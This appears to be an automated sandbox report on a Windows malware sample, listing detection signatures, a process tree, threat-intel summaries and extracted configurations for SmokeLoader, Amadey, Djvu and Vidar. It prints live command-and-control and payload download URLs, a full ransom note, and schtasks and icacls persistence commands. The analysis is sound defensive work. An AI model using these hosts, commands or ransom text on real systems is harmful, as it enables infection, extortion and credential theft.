Edit tour

Windows Analysis Report
01860199.exe

Overview

General Information

Sample Name:	01860199.exe
Analysis ID:	876998
MD5:	3d8207e1ce6762ff10db118bee3bd99b
SHA1:	82a02d6e00de00074b48ba3cc76424a6efe3e6ab
SHA256:	c38267836dde53953018c962a372e8e74153f97932418b682fc653ecfcb7bece
Infos:

Detection

Amadey, Babuk, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Found ransom note / readme

Yara detected Babuk Ransomware

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected Clipboard Hijacker

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Fabookie

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Injects a PE file into a foreign processes

Deletes itself after installation

Writes a notice file (html or txt) to demand a ransom

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Sample uses string decryption to hide its real strings

Uses schtasks.exe or at.exe to add and modify task schedules

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

PE file contains more sections than normal

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

PE file contains an invalid checksum

Uses cacls to modify the permissions of files

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

01860199.exe (PID: 1264 cmdline: C:\Users\user\Desktop\01860199.exe MD5: 3D8207E1CE6762FF10DB118BEE3BD99B)

explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

D804.exe (PID: 2560 cmdline: C:\Users\user\AppData\Local\Temp\D804.exe MD5: 6944FCA258A9009F9D3B7212CDB4874D)

D804.exe (PID: 772 cmdline: C:\Users\user\AppData\Local\Temp\D804.exe MD5: 6944FCA258A9009F9D3B7212CDB4874D)

icacls.exe (PID: 4704 cmdline: icacls "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: FF0D1D4317A44C951240FAE75075D501)

D804.exe (PID: 128 cmdline: "C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask MD5: 6944FCA258A9009F9D3B7212CDB4874D)

D804.exe (PID: 4528 cmdline: "C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask MD5: 6944FCA258A9009F9D3B7212CDB4874D)

build2.exe (PID: 4696 cmdline: "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe" MD5: B888EFE68F257AA2335ED9CBD63C1343)

build2.exe (PID: 6096 cmdline: "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe" MD5: B888EFE68F257AA2335ED9CBD63C1343)

build3.exe (PID: 5868 cmdline: "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe" MD5: 9EAD10C08E72AE41921191F8DB39BC16)

schtasks.exe (PID: 5268 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

C861.exe (PID: 68 cmdline: C:\Users\user\AppData\Local\Temp\C861.exe MD5: 7A8E3D000FBA0F5765B98E2D78EB9D12)

WerFault.exe (PID: 5568 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 68 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 1868 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 68 -ip 68 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

3C54.exe (PID: 1720 cmdline: C:\Users\user\AppData\Local\Temp\3C54.exe MD5: 2AF03D52F9CF9E53DFFC1183B403E1B7)

aafg31.exe (PID: 2336 cmdline: "C:\Users\user\AppData\Local\Temp\aafg31.exe" MD5: B4F79B3194235084A3EC85711EDFBD38)

NewPlayer.exe (PID: 4364 cmdline: "C:\Users\user\AppData\Local\Temp\NewPlayer.exe" MD5: 08240E71429B32855B418A4ACF0E38EC)

mnolyk.exe (PID: 5348 cmdline: "C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe" MD5: 08240E71429B32855B418A4ACF0E38EC)

XandETC.exe (PID: 5320 cmdline: "C:\Users\user\AppData\Local\Temp\XandETC.exe" MD5: 3006B49F3A30A80BB85074C279ACC7DF)

B46F.exe (PID: 4928 cmdline: C:\Users\user\AppData\Local\Temp\B46F.exe MD5: 6944FCA258A9009F9D3B7212CDB4874D)

B46F.exe (PID: 2576 cmdline: C:\Users\user\AppData\Local\Temp\B46F.exe MD5: 6944FCA258A9009F9D3B7212CDB4874D)

A170.exe (PID: 1868 cmdline: C:\Users\user\AppData\Local\Temp\A170.exe MD5: 15BC205C2CAF7196EE2267087C3B2BB8)

A170.exe (PID: 1964 cmdline: C:\Users\user\AppData\Local\Temp\A170.exe MD5: 15BC205C2CAF7196EE2267087C3B2BB8)

D804.exe (PID: 1264 cmdline: "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart MD5: 6944FCA258A9009F9D3B7212CDB4874D)

913F.exe (PID: 5260 cmdline: C:\Users\user\AppData\Local\Temp\913F.exe MD5: 15BC205C2CAF7196EE2267087C3B2BB8)

913F.exe (PID: 5512 cmdline: C:\Users\user\AppData\Local\Temp\913F.exe MD5: 15BC205C2CAF7196EE2267087C3B2BB8)

F4F7.exe (PID: 5436 cmdline: C:\Users\user\AppData\Local\Temp\F4F7.exe MD5: 7A8E3D000FBA0F5765B98E2D78EB9D12)

5DA0.exe (PID: 6404 cmdline: C:\Users\user\AppData\Local\Temp\5DA0.exe MD5: 2AF03D52F9CF9E53DFFC1183B403E1B7)

D804.exe (PID: 5444 cmdline: "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart MD5: 6944FCA258A9009F9D3B7212CDB4874D)

hwgujdv (PID: 5940 cmdline: C:\Users\user\AppData\Roaming\hwgujdv MD5: 3D8207E1CE6762FF10DB118BEE3BD99B)

D804.exe (PID: 1340 cmdline: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task MD5: 6944FCA258A9009F9D3B7212CDB4874D)

D804.exe (PID: 6088 cmdline: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task MD5: 6944FCA258A9009F9D3B7212CDB4874D)

mstsca.exe (PID: 6600 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 9EAD10C08E72AE41921191F8DB39BC16)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/ https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/ https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Fabookie	Fabookie is facebook account info stealer.	No Attribution	https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/ https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1	https://malpedia.caad.fkie.fraunhofer.de/details/win.fabookie

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Amadey

{"C2 url": "45.9.74.80/0bjdn2Z/index.php", "Version": "3.67"}

Threatname: Djvu

{"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/raud/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-tnzomMj6HU\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0717JOsie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA50iTgpK4WqHRCxsCP+Ko\\\\ni6Rfb9WWM4K\\/vgKVvZi\\/+pA7wR6QvFBURdJ1Z9mdw8kYkafMfVuTEgbW+j4RDepy\\\\nRMc6ZcYdxsu2f4+XgrCWmwJw8wVmodWyLZqqeb1k4FONQs+uAP0AxLLTUbcAfP75\\\\ngGAW9KhqPhoYKVhzDqtFOqCvYqMylrgCNwHpTp75Bv5up3OfAE5h6+t\\/TfjQjDFJ\\\\nJY0Tgum721KiGGppZfsBDqY1Zv\\/F45h+MVk9mhfvBd3UZNJUZI5ewP1zbnOU1llz\\\\ndETA6WbQWWm4u4pamw3U0ZLnFDJQkUgOAbxOfVM4xpi0lrPyV+oTCXnpOgcF4YvU\\\\n2wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://toobussy.com/tmp/", "http://wuc11.com/tmp/", "http://ladogatur.ru/tmp/", "http://kingpirate.ru/tmp/"]}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199508624021", "https://t.me/looking_glassbot"], "Botnet": "e44c96dfdf315ccf17cdd4b93cfe6e48"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\build3[1].exe	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
C:\Users\user\AppData\Local\Temp\NewPlayer.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\07c6bc37dc5087\cred64.dll	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0xe88c0:$string1: SELECT origin_url, username_value, password_value FROM logins 0xde8b0:$string2: API call with %s database connection pointer 0xdf5b8:$string3: os_win.c:%d: (%lu) %s(%s) - %s
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\cred64[1].dll	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0xe88c0:$string1: SELECT origin_url, username_value, password_value FROM logins 0xde8b0:$string2: API call with %s database connection pointer 0xdf5b8:$string3: os_win.c:%d: (%lu) %s(%s) - %s
C:\Users\user\AppData\Local\Temp\9F31.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x4e2e9c:$s1: Runner 0x4e3001:$s3: RunOnStartup 0x4e2eb0:$a1: Antis 0x4e2edd:$a2: antiVM 0x4e2ee4:$a3: antiSandbox 0x4e2ef0:$a4: antiDebug 0x4e2efa:$a5: antiEmulator 0x4e2f07:$a6: enablePersistence 0x4e2f19:$a7: enableFakeError 0x4e302a:$a8: DetectVirtualMachine 0x4e304f:$a9: DetectSandboxie 0x4e307a:$a10: DetectDebugger 0x4e3089:$a11: CheckEmulator
C:\Users\user\AppData\Local\Temp\5DA0.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x4e2e9c:$s1: Runner 0x4e3001:$s3: RunOnStartup 0x4e2eb0:$a1: Antis 0x4e2edd:$a2: antiVM 0x4e2ee4:$a3: antiSandbox 0x4e2ef0:$a4: antiDebug 0x4e2efa:$a5: antiEmulator 0x4e2f07:$a6: enablePersistence 0x4e2f19:$a7: enableFakeError 0x4e302a:$a8: DetectVirtualMachine 0x4e304f:$a9: DetectSandboxie 0x4e307a:$a10: DetectDebugger 0x4e3089:$a11: CheckEmulator
C:\Users\user\AppData\Local\Temp\3C54.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x4e2e9c:$s1: Runner 0x4e3001:$s3: RunOnStartup 0x4e2eb0:$a1: Antis 0x4e2edd:$a2: antiVM 0x4e2ee4:$a3: antiSandbox 0x4e2ef0:$a4: antiDebug 0x4e2efa:$a5: antiEmulator 0x4e2f07:$a6: enablePersistence 0x4e2f19:$a7: enableFakeError 0x4e302a:$a8: DetectVirtualMachine 0x4e304f:$a9: DetectSandboxie 0x4e307a:$a10: DetectDebugger 0x4e3089:$a11: CheckEmulator
C:\Users\user\AppData\Local\Temp\6FA9.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x4e2e9c:$s1: Runner 0x4e3001:$s3: RunOnStartup 0x4e2eb0:$a1: Antis 0x4e2edd:$a2: antiVM 0x4e2ee4:$a3: antiSandbox 0x4e2ef0:$a4: antiDebug 0x4e2efa:$a5: antiEmulator 0x4e2f07:$a6: enablePersistence 0x4e2f19:$a7: enableFakeError 0x4e302a:$a8: DetectVirtualMachine 0x4e304f:$a9: DetectSandboxie 0x4e307a:$a10: DetectDebugger 0x4e3089:$a11: CheckEmulator
Click to see the 16 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x644:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.380036043.0000000000859000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x721c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.460164953.0000000000800000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000016.00000000.460937652.0000000000061000.00000020.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.612344653.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000016.00000002.476037262.0000000000061000.00000020.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.519993720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
